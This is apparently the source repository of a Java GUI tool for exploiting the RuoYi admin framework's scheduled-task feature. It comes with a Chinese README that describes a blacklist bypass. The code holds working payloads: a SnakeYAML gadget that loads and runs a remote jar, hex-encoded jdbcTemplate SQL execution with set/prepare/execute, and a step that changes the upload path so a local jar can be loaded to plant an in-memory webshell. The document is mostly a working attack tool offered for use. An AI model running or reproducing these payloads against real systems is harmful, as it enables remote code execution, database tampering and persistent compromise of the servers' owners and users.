├── ReadMe.md
├── Ruoyi-All-1.0-SNAPSHOT.jar
├── images
├── image-20220414232621492.png
├── image-20220414232656226.png
├── image-20220414232706070.png
├── image-20220414232716773.png
├── image-20220414232727932.png
├── image-20220414232737157.png
└── image-20220414232743645.png
├── pom.xml
└── src
└── main
├── java
└── com
│ └── ruoyi
│ ├── Main.java
│ ├── controller
│ └── MainController.java
│ ├── exp
│ ├── JdbcExp.java
│ ├── UploadExp.java
│ ├── VulScan.java
│ └── YamlExp.java
│ ├── global
│ └── Config.java
│ └── util
│ ├── HexUtil.java
│ ├── JobUtil.java
│ ├── RequestUtil.java
│ └── ResultUtil.java
└── resources
└── main.fxml
/ReadMe.md:
--------------------------------------------------------------------------------
1 | 前几天审的若依的后台定时任务黑名单绕过漏洞,整合了一个小工具,提供了几个功能:
2 |
3 | - 低版本直接snakeyaml rce
4 | - 高版本利用jdbcTemplate执行sql语句,在 。师傅的提醒下可以绕过括号限制,并采用 set 和 execute 做到任意sql语句执行,目前提供 select单字段回显与执行update语句
5 | - 高版本利用jdbcTemplate绕过黑名单限制实现snakeyaml rce
6 | - 对于不出网主机,由于URLClassLoader只是加载字节流,对于文件名后缀没有要求且可以 file:// 协议传输,故可采用修改上传路径+上传jar包至本地方式,直接加载本地jar注入内存马,jar包上传后自动载入配置,可直接进入其他模块使用
7 |
8 | **效果如下:**
9 |
10 | - 漏洞检测
11 |
12 | 
13 |
14 | * snakeyaml RCE:
15 |
16 | 
17 |
18 | - 执行sql语句:
19 |
20 | 
21 |
22 | - 绕过黑名单限制:
23 |
24 | 
25 |
26 | - 不出网注入内存马:
27 |
28 | 
29 |
30 | 
31 |
32 | 
33 |
--------------------------------------------------------------------------------
/Ruoyi-All-1.0-SNAPSHOT.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/Ruoyi-All-1.0-SNAPSHOT.jar
--------------------------------------------------------------------------------
/images/image-20220414232621492.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/images/image-20220414232621492.png
--------------------------------------------------------------------------------
/images/image-20220414232656226.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/images/image-20220414232656226.png
--------------------------------------------------------------------------------
/images/image-20220414232706070.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/images/image-20220414232706070.png
--------------------------------------------------------------------------------
/images/image-20220414232716773.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/images/image-20220414232716773.png
--------------------------------------------------------------------------------
/images/image-20220414232727932.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/images/image-20220414232727932.png
--------------------------------------------------------------------------------
/images/image-20220414232737157.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/images/image-20220414232737157.png
--------------------------------------------------------------------------------
/images/image-20220414232743645.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/images/image-20220414232743645.png
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | com.ruoyi
8 | Ruoyi-All
9 | 1.0-SNAPSHOT
10 |
11 |
12 | 8
13 | 8
14 |
15 |
16 |
17 |
18 | org.openjfx
19 | javafx-controls
20 | 11
21 |
22 |
23 | org.openjfx
24 | javafx-fxml
25 | 11
26 |
27 |
28 | junit
29 | junit
30 | 4.13.1
31 | compile
32 |
33 |
34 |
35 |
36 |
37 |
38 | org.openjfx
39 | javafx-maven-plugin
40 | 0.0.5
41 |
42 |
43 | top.lingkang.potato.PotatoApplication
44 |
45 |
46 |
47 |
48 | org.apache.maven.plugins
49 | maven-shade-plugin
50 |
51 |
52 | package
53 |
54 | shade
55 |
56 |
57 |
58 |
59 | com.ruoyi.Main
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
--------------------------------------------------------------------------------
/src/main/java/com/ruoyi/Main.java:
--------------------------------------------------------------------------------
1 | package com.ruoyi;
2 |
3 | import javafx.application.Application;
4 | import javafx.fxml.FXMLLoader;
5 | import javafx.scene.Parent;
6 | import javafx.scene.Scene;
7 | import javafx.stage.Stage;
8 |
9 | public class Main extends Application {
10 |
11 | private static Stage stage;
12 |
13 | @Override
14 | public void start(Stage primaryStage) throws Exception{
15 | Parent root = FXMLLoader.load(getClass().getResource("/main.fxml"));
16 | primaryStage.setTitle("若依一键利用工具");
17 | primaryStage.setScene(new Scene(root, 900, 680));
18 | primaryStage.show();
19 | stage = primaryStage;
20 | }
21 |
22 | public static Stage getStage(){
23 | return stage;
24 | }
25 |
26 |
27 | public static void main(String[] args) {
28 | launch(args);
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/src/main/java/com/ruoyi/controller/MainController.java:
--------------------------------------------------------------------------------
1 | package com.ruoyi.controller;
2 |
3 | import com.ruoyi.Main;
4 | import com.ruoyi.exp.JdbcExp;
5 | import com.ruoyi.exp.VulScan;
6 | import com.ruoyi.exp.YamlExp;
7 | import com.ruoyi.exp.UploadExp;
8 | import com.ruoyi.global.Config;
9 | import com.ruoyi.util.HexUtil;
10 | import com.ruoyi.util.JobUtil;
11 | import com.ruoyi.util.RequestUtil;
12 | import com.ruoyi.util.ResultUtil;
13 | import javafx.beans.value.ChangeListener;
14 | import javafx.beans.value.ObservableValue;
15 | import javafx.event.EventHandler;
16 | import javafx.fxml.FXML;
17 | import javafx.fxml.Initializable;
18 | import javafx.scene.control.*;
19 | import javafx.scene.input.MouseEvent;
20 | import javafx.stage.FileChooser;
21 |
22 | import java.net.URL;
23 | import java.util.ResourceBundle;
24 | import java.util.regex.Matcher;
25 | import java.util.regex.Pattern;
26 |
27 | public class MainController implements Initializable {
28 |
29 | @FXML
30 | Tab vulTab;
31 |
32 | @FXML
33 | TextField urlText;
34 |
35 | @FXML
36 | TextField cookieText;
37 |
38 | @FXML
39 | Button submitBtn;
40 |
41 | @FXML
42 | TextArea vulText;
43 |
44 | @FXML
45 | Tab snakeyamlTab;
46 |
47 | @FXML
48 | TextField snakeyamlUrlText;
49 |
50 | @FXML
51 | Button snakeyamlBtn;
52 |
53 | @FXML
54 | TextArea snakeyamlText;
55 |
56 | @FXML
57 | Tab jdbcTab;
58 |
59 | @FXML
60 | TextArea jdbcText;
61 |
62 | @FXML
63 | ChoiceBox jdbcMode;
64 |
65 | @FXML
66 | Label jdbcPayloadLabel;
67 |
68 | @FXML
69 | Button jdbcBtn;
70 |
71 | @FXML
72 | TextField jdbcSqlText;
73 |
74 | @FXML
75 | Tab uploadTab;
76 |
77 | @FXML
78 | TextArea uploadText;
79 |
80 | @FXML
81 | TextField uploadPathText;
82 |
83 | @FXML
84 | ComboBox jarPathText;
85 |
86 | @FXML
87 | Button uploadBtn;
88 |
89 | public void conn() {
90 | ResultUtil.clear();
91 | if (urlText.getText().isEmpty()) {
92 | urlText.setText("http://127.0.0.1:9090");
93 | } else {
94 | if (urlText.getText().endsWith("/")) {
95 | urlText.setText(urlText.getText().substring(0, urlText.getText().length() - 1));
96 | }
97 | }
98 | if (cookieText.getText().isEmpty()) {
99 | if (urlText.getText().equals("http://127.0.0.1:9090")) {
100 | cookieText.setText("sessionid=epngmgjx2rrd90itak61fm6ms545lnh7; JSESSIONID=f1038b7d-faea-4c77-a7d9-14b5f713f5f6;");
101 | } else {
102 | ResultUtil.fail("Cookie不能为空");
103 | return;
104 | }
105 | }
106 | Config.url = urlText.getText();
107 | Config.cookie = cookieText.getText();
108 | String resp = RequestUtil.get(Config.url, Config.cookie);
109 | Pattern pattern = Pattern.compile("
(.*?)
");
110 | Matcher matcher = pattern.matcher(resp);
111 | if (matcher.find()) {
112 | Config.isConnected = true;
113 | String user = matcher.group(1);
114 | ResultUtil.success("登陆成功,当前用户:" + user);
115 | ResultUtil.log("正在检测漏洞...");
116 | VulScan.scan();
117 | if (!Config.vulMode.contains("snakeyaml")) {
118 | snakeyamlTab.setDisable(true);
119 | }
120 | if (!Config.vulMode.contains("jdbc")) {
121 | jdbcTab.setDisable(true);
122 | uploadTab.setDisable(true);
123 | }
124 | } else {
125 | ResultUtil.fail("登陆失败");
126 | }
127 | }
128 |
129 | public boolean checkConn() {
130 | if (!Config.isConnected) {
131 | ResultUtil.log("请先配置连接信息");
132 | return false;
133 | }
134 | return true;
135 | }
136 |
137 |
138 | public void changeResultText(Tab tab, TextArea resultText) {
139 | if (tab.isSelected()) {
140 | Config.resultText = resultText;
141 | }
142 | }
143 |
144 | public void yamlExp() {
145 | if (!checkConn()) return;
146 | ResultUtil.clear();
147 | if (snakeyamlUrlText.getText().isEmpty()) {
148 | snakeyamlUrlText.setText("http://127.0.0.1:8081/1.jar");
149 | }
150 | Config.snakeyamlUrl = snakeyamlUrlText.getText();
151 | String exception = YamlExp.exp();
152 | if (!exception.isEmpty()) {
153 | ResultUtil.fail("远程jar包加载失败,异常原因:" + exception);
154 | } else {
155 | ResultUtil.success("远程jar包加载成功");
156 | }
157 | }
158 |
159 | public void sqlExp() {
160 | if (!checkConn()) return;
161 | ResultUtil.clear();
162 | if (jdbcSqlText.getText().equals("")) {
163 | if (jdbcMode.getValue().equals("snakeyaml RCE")) {
164 | jdbcSqlText.setText("http://127.0.0.1:8081/1.jar");
165 | } else {
166 | jdbcSqlText.setText("select user();");
167 | jdbcMode.setValue(jdbcMode.getItems().get(0));
168 | }
169 | }
170 | String sql = jdbcSqlText.getText();
171 | String mode;
172 | if (jdbcMode.getValue().equals("snakeyaml RCE")) {
173 | Config.snakeyamlUrl = jdbcSqlText.getText();
174 | sql = "0x" + HexUtil.string2HexString("org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"{jarUrl}\"]]]]')".replace("{jarUrl}", jdbcSqlText.getText()));
175 | mode = "snakeyaml";
176 | String exception = JdbcExp.sqlExp(sql, mode);
177 | if (exception.equals("")) {
178 | ResultUtil.success("远程jar包加载成功");
179 | } else {
180 | ResultUtil.fail("远程jar包加载失败,异常原因:" + exception);
181 | }
182 | } else {
183 | if (jdbcMode.getValue().toString().contains("select")) {
184 | mode = "select";
185 | ResultUtil.success(JdbcExp.sqlExp(sql, mode));
186 | } else {
187 | mode = "update";
188 | JdbcExp.sqlExp(sql, mode);
189 | String exception = JobUtil.getLog();
190 | if (exception.equals("")) {
191 | ResultUtil.success("update语句执行成功");
192 | } else {
193 | ResultUtil.fail("update语句执行失败,异常原因:" + exception);
194 | }
195 | }
196 | }
197 | }
198 |
199 | public void uploadExp() {
200 | if (!checkConn()) return;
201 | ResultUtil.clear();
202 | System.out.println(uploadPathText.getText());
203 | if (!uploadPathText.getText().isEmpty()) {
204 | if (UploadExp.setProfile(uploadPathText.getText())) {
205 | ResultUtil.success("修改文件上传路径成功,当前地址:" + uploadPathText.getText());
206 | Config.uploadPath = uploadPathText.getText();
207 | } else {
208 | ResultUtil.fail("修改文件上传路径失败");
209 | }
210 | }
211 | if (Config.uploadPath.isEmpty()) {
212 | ResultUtil.log("请先修改上传路径");
213 | return;
214 | }
215 | if (!jarPathText.getItems().isEmpty()) {
216 | String jarFilePath = UploadExp.uploadJar().replace("/profile", "");
217 | if(!jarFilePath.isEmpty()) {
218 | Config.snakeyamlUrl = "file:///" + Config.uploadPath + jarFilePath;
219 | ResultUtil.success("上传jar包成功,自动配置jar包路径:"+Config.snakeyamlUrl);
220 | } else {
221 | ResultUtil.fail("上传失败");
222 | }
223 | }
224 | }
225 |
226 |
227 | @Override
228 | public void initialize(URL location, ResourceBundle resources) {
229 | changeResultText(vulTab, vulText);
230 | vulTab.setOnSelectionChanged(event -> {
231 | changeResultText(vulTab, vulText);
232 | });
233 | submitBtn.setOnAction(event -> {
234 | conn();
235 | });
236 |
237 |
238 | snakeyamlTab.setOnSelectionChanged(event -> {
239 | changeResultText(snakeyamlTab, snakeyamlText);
240 | });
241 | snakeyamlBtn.setOnAction(event -> {
242 | yamlExp();
243 | });
244 |
245 |
246 | jdbcTab.setOnSelectionChanged(event -> {
247 | changeResultText(jdbcTab, jdbcText);
248 | if (!Config.snakeyamlUrl.isEmpty()) {
249 | snakeyamlUrlText.setText(Config.snakeyamlUrl);
250 | }
251 | });
252 | jdbcMode.getItems().addAll(new String[]{"select查询", "update更新", "snakeyaml RCE"});
253 | jdbcMode.setValue(jdbcMode.getItems().get(0));
254 | jdbcPayloadLabel.setText("请输入select查询语句");
255 |
256 | jdbcMode.getSelectionModel().selectedItemProperty().addListener(new ChangeListener() {
257 | @Override
258 | public void changed(ObservableValue observable, Object oldValue, Object newValue) {
259 | System.out.println(newValue);
260 | if (newValue.equals("update更新")) {
261 | jdbcSqlText.setText("");
262 | jdbcPayloadLabel.setText("请输入update更新语句");
263 | } else if (newValue.equals("snakeyaml RCE")) {
264 | jdbcPayloadLabel.setText("请输入远程jar包地址");
265 | if (!Config.snakeyamlUrl.isEmpty()) {
266 | jdbcSqlText.setText(Config.snakeyamlUrl);
267 | }
268 | } else {
269 | jdbcSqlText.setText("");
270 | jdbcPayloadLabel.setText("请输入select查询语句");
271 | }
272 | }
273 | });
274 | jdbcBtn.setOnAction(event -> {
275 | sqlExp();
276 | });
277 |
278 |
279 | uploadTab.setOnSelectionChanged(event -> {
280 | changeResultText(uploadTab, uploadText);
281 | });
282 | uploadBtn.setOnAction(event -> {
283 | uploadExp();
284 | });
285 | jarPathText.addEventHandler(MouseEvent.MOUSE_CLICKED, new EventHandler() {
286 | @Override
287 | public void handle(MouseEvent event) {
288 | FileChooser fileChooser = new FileChooser();
289 | fileChooser.setTitle("请选择jar包路径");
290 | fileChooser.getExtensionFilters().add(new FileChooser.ExtensionFilter("jar文件", "*.jar"));
291 | Config.jarFile = fileChooser.showOpenDialog(Main.getStage());
292 | if (Config.jarFile.exists()) {
293 | jarPathText.getItems().add(Config.jarFile.getName());
294 | jarPathText.setValue(Config.jarFile);
295 | }
296 | }
297 | });
298 |
299 |
300 | }
301 | }
302 |
--------------------------------------------------------------------------------
/src/main/java/com/ruoyi/exp/JdbcExp.java:
--------------------------------------------------------------------------------
1 | package com.ruoyi.exp;
2 |
3 | import com.ruoyi.global.Config;
4 | import com.ruoyi.util.HexUtil;
5 | import com.ruoyi.util.JobUtil;
6 |
7 | import java.util.Random;
8 | import java.util.regex.Matcher;
9 | import java.util.regex.Pattern;
10 |
11 | public class JdbcExp {
12 |
13 | public static String jdbcSql = "update sys_job set invoke_target=({sql}) where job_id={jobId};";
14 | public static String jdbcPayloadSet = "jdbcTemplate.execute(\"set @{variable} = 0x{hexSql};\")";
15 | public static String jdbcPayloadPrepare = "jdbcTemplate.execute(\"prepare {variable} from @{variable};\")";
16 | public static String jdbcPayloadExecute = "jdbcTemplate.execute(\"execute {variable};\")";
17 | public static String invokeTargetPatternStr = "调用目标字符串:[\\w\\W]*?div class=\"form-control-static\">(.*?)";
18 | public static String jdbcPayloadYaml = "jdbcTemplate.execute(\"{sql}\")";
19 |
20 |
21 | public static String variable;
22 |
23 | // 通过将返回值写入jobInvokeTarget得到回显结果
24 | public static String getResult() {
25 | String resp = Config.get("/monitor/job/detail/" + Config.jobId);
26 | Pattern invokeTargetPattern = Pattern.compile(invokeTargetPatternStr);
27 | Matcher matcher = invokeTargetPattern.matcher(resp);
28 | String result = "";
29 | if (matcher.find()) {
30 | result = matcher.group(1);
31 | }
32 | return result;
33 | }
34 |
35 | public static String sqlExp(String sql, String mode) {
36 | JobUtil.clearLog();
37 | int failCount = 0;
38 | try {
39 | variable = "a" + new Random().nextInt(10);
40 | String updateSql;
41 | if (mode.equals("update")) {
42 | if (!sql.endsWith(";")) {
43 | sql = sql+";";
44 | }
45 | updateSql = sql;
46 | } else {
47 | if (sql.endsWith(";")) {
48 | sql = sql.replace(";", "");
49 | }
50 | updateSql = jdbcSql.replace("{sql}", sql).replace("{jobId}", Config.jobId);
51 | }
52 | if (mode.equals("snakeyaml")) {
53 | JobUtil.expJob(jdbcPayloadYaml.replace("{sql}", updateSql.replace("(", "").replace(")", "")));
54 | return JobUtil.runJob();
55 | }
56 | String hexSql = HexUtil.string2HexString(updateSql);
57 | String setInvoke = jdbcPayloadSet.replace("{hexSql}", hexSql).replace("{variable}", variable);
58 | while (!JobUtil.expJob(setInvoke).isEmpty() & failCount<10) {
59 | failCount++;
60 | }
61 | failCount = 0;
62 | while (!JobUtil.expJob(jdbcPayloadPrepare.replace("{variable}", variable)).isEmpty() & failCount<10) {
63 | failCount++;
64 | }
65 | failCount = 0;
66 | while (!JobUtil.expJob(jdbcPayloadExecute.replace("{variable}", variable)).isEmpty() & failCount<10) {
67 | failCount++;
68 | }
69 | return getResult();
70 | } catch (Exception e) {
71 | return "";
72 | }
73 | }
74 | }
75 |
--------------------------------------------------------------------------------
/src/main/java/com/ruoyi/exp/UploadExp.java:
--------------------------------------------------------------------------------
1 | package com.ruoyi.exp;
2 |
3 | import com.ruoyi.global.Config;
4 | import com.ruoyi.util.JobUtil;
5 |
6 | import java.util.regex.Matcher;
7 | import java.util.regex.Pattern;
8 |
9 | public class UploadExp {
10 |
11 | public static String setProfilePayload = "ruoYiConfig.setProfile(\"{uploadPath}\")";
12 |
13 | public static boolean setProfile(String uploadPath) {
14 | JobUtil.clearLog();
15 | return JobUtil.expJob(setProfilePayload.replace("{uploadPath}", uploadPath)).isEmpty();
16 | }
17 |
18 | public static String uploadJar() {
19 | Pattern filePattern = Pattern.compile("\"fileName\":\"(.*?)\"");
20 | String resp = Config.upload(Config.uploadUrlPath, "1.rar", Config.jarFile);
21 | Matcher matcher = filePattern.matcher(resp);
22 | if(matcher.find()){
23 | return matcher.group(1);
24 | } else {
25 | return "";
26 | }
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/src/main/java/com/ruoyi/exp/VulScan.java:
--------------------------------------------------------------------------------
1 | package com.ruoyi.exp;
2 |
3 | import com.ruoyi.global.Config;
4 | import com.ruoyi.util.JobUtil;
5 | import com.ruoyi.util.ResultUtil;
6 | import java.util.List;
7 |
8 | public class VulScan {
9 |
10 |
11 | public static void scan() {
12 | List jobList = JobUtil.getList();
13 | if (jobList.isEmpty()) {
14 | ResultUtil.log("定时任务列表为空,新建任务...");
15 | JobUtil.createJob();
16 | jobList = JobUtil.getList();
17 | ResultUtil.log("绑定 JobId=" + jobList.get(0) + " 的定时任务");
18 | } else {
19 | ResultUtil.log("存在定时任务,绑定 JobId=" + jobList.get(0) + " 的定时任务");
20 |
21 | }
22 | Config.jobId = jobList.get(0);
23 | yamlTest();
24 | jdbcTest();
25 | }
26 |
27 | public static void yamlTest(){
28 | if(JobUtil.updateJob("org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1\"]]]]')")){
29 | ResultUtil.success("存在 snakeyaml 远程命令执行漏洞");
30 | Config.vulMode.add("snakeyaml");
31 | } else {
32 | ResultUtil.fail("不存在 snakeyaml 远程命令执行漏洞");
33 | }
34 | }
35 |
36 | public static void jdbcTest(){
37 | if(JobUtil.updateJob("jdbcTemplate.execute(\"select user()\")")){
38 | ResultUtil.success("存在 jdbcTemplate 任意sql语句执行漏洞");
39 | Config.vulMode.add("jdbc");
40 | } else {
41 | ResultUtil.fail("不存在 jdbcTemplate 任意sql语句执行漏洞");
42 | }
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/src/main/java/com/ruoyi/exp/YamlExp.java:
--------------------------------------------------------------------------------
1 | package com.ruoyi.exp;
2 |
3 | import com.ruoyi.global.Config;
4 | import com.ruoyi.util.JobUtil;
5 |
6 | public class YamlExp {
7 | public static final String yamlPayload = "org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"{jarUrl}\"]]]]')";
8 |
9 | // 返回异常信息(如有)
10 | public static String exp(){
11 | JobUtil.clearLog();
12 | return JobUtil.expJob(yamlPayload.replace("{jarUrl}", Config.snakeyamlUrl));
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/src/main/java/com/ruoyi/global/Config.java:
--------------------------------------------------------------------------------
1 | package com.ruoyi.global;
2 |
3 |
4 | import com.ruoyi.util.RequestUtil;
5 | import javafx.scene.control.TextArea;
6 |
7 | import java.io.File;
8 | import java.io.FileInputStream;
9 | import java.io.InputStream;
10 | import java.util.ArrayList;
11 | import java.util.HashMap;
12 | import java.util.List;
13 |
14 | public class Config {
15 |
16 | public static String url;
17 | public static String cookie;
18 | public static Boolean isConnected = false;
19 | public static String snakeyamlUrl = "";
20 | public static TextArea resultText;
21 | public static String jobId;
22 | public static List vulMode = new ArrayList();
23 | public static String uploadPath = "";
24 | public static File jarFile = null;
25 |
26 |
27 | public final static String jobListPath = "/monitor/job/list";
28 | public final static String jobAddPath = "/monitor/job/add";
29 | public final static String jobEditPath = "/monitor/job/edit";
30 | public final static String jobRunPath = "/monitor/job/run";
31 | public final static String jobLogListPath = "/monitor/jobLog/list";
32 | public final static String jobLogCleanPath = "/monitor/jobLog/clean";
33 | public final static String uploadUrlPath = "/common/upload";
34 |
35 |
36 | public static String get(String path) {
37 | return RequestUtil.get(url + path, cookie);
38 | }
39 |
40 | public static String post(String path, String param) {
41 | return RequestUtil.post(url + path, param, cookie);
42 | }
43 |
44 | public static String upload(String path, String filename, File file) {
45 | try {
46 | HashMap hashMap = new HashMap<>();
47 | hashMap.put(filename, new FileInputStream(file));
48 | return RequestUtil.upload(url + path, hashMap, cookie);
49 | } catch (Exception e){
50 | return "";
51 | }
52 | }
53 |
54 | }
55 |
--------------------------------------------------------------------------------
/src/main/java/com/ruoyi/util/HexUtil.java:
--------------------------------------------------------------------------------
1 | package com.ruoyi.util;
2 |
3 | public class HexUtil {
4 | public static String bytes2HexString(byte[] b) {
5 |
6 | StringBuffer result = new StringBuffer();
7 |
8 | for (int i = 0; i < b.length; i++) {
9 |
10 | result.append(String.format("%02X", b[i]));
11 |
12 | }
13 |
14 | return result.toString();
15 |
16 | }
17 |
18 | /**
19 | * @param src 16进制字符串
20 | * @return 字节数组
21 | * @Title:hexString2Bytes
22 | * @Description:16进制字符串转字节数组
23 | */
24 |
25 | public static byte[] hexString2Bytes(String src) {
26 |
27 | int l = src.length() / 2;
28 |
29 | byte[] ret = new byte[l];
30 |
31 | for (int i = 0; i < l; i++) {
32 |
33 | ret[i] = Integer.valueOf(src.substring(i * 2, i * 2 + 2), 16).byteValue();
34 |
35 | }
36 |
37 | return ret;
38 |
39 | }
40 |
41 | /**
42 | * @param strPart 字符串
43 | * @return 16进制字符串
44 | * @Title:string2HexString
45 | * @Description:字符串转16进制字符串
46 | */
47 |
48 | public static String string2HexString(String strPart) {
49 |
50 | try {
51 |
52 | return bytes2HexString(strPart.getBytes());
53 |
54 | } catch (Exception e) {
55 |
56 | return "";
57 |
58 | }
59 |
60 | }
61 |
62 | /**
63 | * @param src 16进制字符串
64 | * @return 字节数组
65 | * @Title:hexString2String
66 | * @Description:16进制字符串转字符串
67 | */
68 |
69 | public static String hexString2String(String src) {
70 |
71 | try {
72 |
73 | byte[] bts = hexString2Bytes(src);
74 | return new String(bts);
75 |
76 | } catch (Exception e) {
77 |
78 | return src;
79 |
80 | }
81 |
82 | }
83 |
84 | }
85 |
--------------------------------------------------------------------------------
/src/main/java/com/ruoyi/util/JobUtil.java:
--------------------------------------------------------------------------------
1 | package com.ruoyi.util;
2 |
3 | import com.ruoyi.global.Config;
4 |
5 | import java.util.ArrayList;
6 | import java.util.List;
7 | import java.util.regex.Matcher;
8 | import java.util.regex.Pattern;
9 |
10 | public class JobUtil {
11 |
12 |
13 | public final static String listParam = "pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&jobName=&jobGroup=&status=";
14 | public final static String createParam = "createBy=admin&jobName=1&jobGroup=DEFAULT&invokeTarget=1&cronExpression=1&misfirePolicy=1&concurrent=1&status=0&remark=";
15 | public final static String updateParam = "jobId={jobId}&updateBy=1&jobName=1&jobGroup=DEFAULT&invokeTarget={jonInvokeTarget}&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=1&remark=";
16 | public final static String runParam = "jobId={jobId}";
17 | public final static String logListParam = "pageSize=1&pageNum=1&orderByColumn=createTime&isAsc=desc&jobName=&jobGroup=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=";
18 | public final static String exceptionPatternStr = "\"exceptionInfo\":\"(.*?)\",";
19 | public static String currentInvokeTarget;
20 |
21 | public static int logCount = 0;
22 |
23 |
24 | public static List getList() {
25 | List jobList = new ArrayList();
26 | String resp = Config.post(Config.jobListPath, listParam);
27 | Pattern jobPattern = Pattern.compile("\"jobId\":(.*?),");
28 | Matcher matcher = jobPattern.matcher(resp);
29 | while (matcher.find()) {
30 | jobList.add((matcher.group(1)));
31 | }
32 | return jobList;
33 | }
34 |
35 | public static void createJob() {
36 | Config.post(Config.jobAddPath, createParam);
37 | }
38 |
39 |
40 | public static boolean updateJob(String jobInvokeTarget) {
41 | String param = updateParam.replace("{jobId}", Config.jobId).replace("{jonInvokeTarget}", jobInvokeTarget);
42 | String resp = Config.post(Config.jobEditPath, param);
43 | currentInvokeTarget = jobInvokeTarget;
44 | return resp.contains("\"code\":0");
45 | }
46 |
47 | public static String runJob() {
48 | Config.post(Config.jobRunPath, runParam.replace("{jobId}", Config.jobId));
49 | return getLog();
50 | }
51 |
52 | // 直接返回日志,无需再次调用
53 | public static String expJob(String jobInvokeTarget) {
54 | if (updateJob(jobInvokeTarget)) {
55 | return runJob();
56 | } else {
57 | return "";
58 | }
59 | }
60 |
61 | public static String getLog() {
62 | // 递归获取日志信息,如无异常则返回""
63 | logCount++;
64 | // String currentExceptionPatternStr = exceptionPatternStr.replace("{currentInvokeTarget}", currentInvokeTarget.replace("\"", "\\\\\"").replace("(", "\\(").replace(")", "\\)"));
65 | Pattern exceptionPattern = Pattern.compile(exceptionPatternStr);
66 | String resp = Config.post(Config.jobLogListPath, logListParam);
67 | System.out.println(resp);
68 | Matcher matcher = exceptionPattern.matcher(resp);
69 | if (matcher.find()) {
70 | logCount = 0;
71 | clearLog();
72 | return matcher.group(1);
73 | } else {
74 | if (logCount > 10) {
75 | logCount = 0;
76 | clearLog();
77 | return "";
78 | }
79 | return getLog();
80 | }
81 | }
82 |
83 | public static void clearLog() {
84 | Config.post(Config.jobLogCleanPath, "");
85 | }
86 |
87 | }
88 |
--------------------------------------------------------------------------------
/src/main/java/com/ruoyi/util/RequestUtil.java:
--------------------------------------------------------------------------------
1 | package com.ruoyi.util;
2 |
3 | import java.io.*;
4 | import java.net.HttpURLConnection;
5 | import java.net.URL;
6 | import java.net.URLConnection;
7 | import java.util.HashMap;
8 | import java.util.Iterator;
9 | import java.util.List;
10 | import java.util.Map;
11 |
12 | public class RequestUtil {
13 |
14 | public static String get(String url) {
15 | return get(url, "");
16 | }
17 |
18 | public static String post(String url, String param) {
19 | return post(url, param, "");
20 | }
21 |
22 |
23 | /**
24 | * 向指定URL发送GET方法的请求
25 | *
26 | * @param url 发送请求的URL
27 | * @return URL 所代表远程资源的响应结果
28 | */
29 | public static String get(String url, String cookie) {
30 | String result = "";
31 | BufferedReader in = null;
32 | try {
33 | String urlNameString = url;
34 | URL realUrl = new URL(urlNameString);
35 | // 打开和URL之间的连接
36 | URLConnection conn = realUrl.openConnection();
37 | // 设置通用的请求属性
38 | conn.setRequestProperty("accept", "*/*");
39 | conn.setRequestProperty("connection", "Keep-Alive");
40 | conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
41 | conn.setRequestProperty("Cookie", cookie);
42 | // 建立实际的连接
43 | conn.connect();
44 | // 定义 BufferedReader输入流来读取URL的响应
45 | in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
46 | String line;
47 | while ((line = in.readLine()) != null) {
48 | result += line + "\n";
49 | }
50 | } catch (Exception e) {
51 | System.out.println("发送GET请求出现异常!" + e);
52 | e.printStackTrace();
53 | }
54 | // 使用finally块来关闭输入流
55 | finally {
56 | try {
57 | if (in != null) {
58 | in.close();
59 | }
60 | } catch (Exception e2) {
61 | e2.printStackTrace();
62 | }
63 | }
64 | return result;
65 | }
66 |
67 | /**
68 | * 向指定 URL 发送POST方法的请求
69 | *
70 | * @param url 发送请求的 URL
71 | * @param param 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。
72 | * @return 所代表远程资源的响应结果
73 | */
74 | public static String post(String url, String param, String cookie) {
75 | PrintWriter out = null;
76 | BufferedReader in = null;
77 | String result = "";
78 | try {
79 | URL realUrl = new URL(url);
80 | // 打开和URL之间的连接
81 | URLConnection conn = realUrl.openConnection();
82 | // 设置通用的请求属性
83 | conn.setRequestProperty("accept", "*/*");
84 | conn.setRequestProperty("connection", "Keep-Alive");
85 | conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
86 | conn.setRequestProperty("Cookie", cookie);
87 | // 发送POST请求必须设置如下两行
88 | conn.setDoOutput(true);
89 | conn.setDoInput(true);
90 | // 获取URLConnection对象对应的输出流
91 | out = new PrintWriter(conn.getOutputStream());
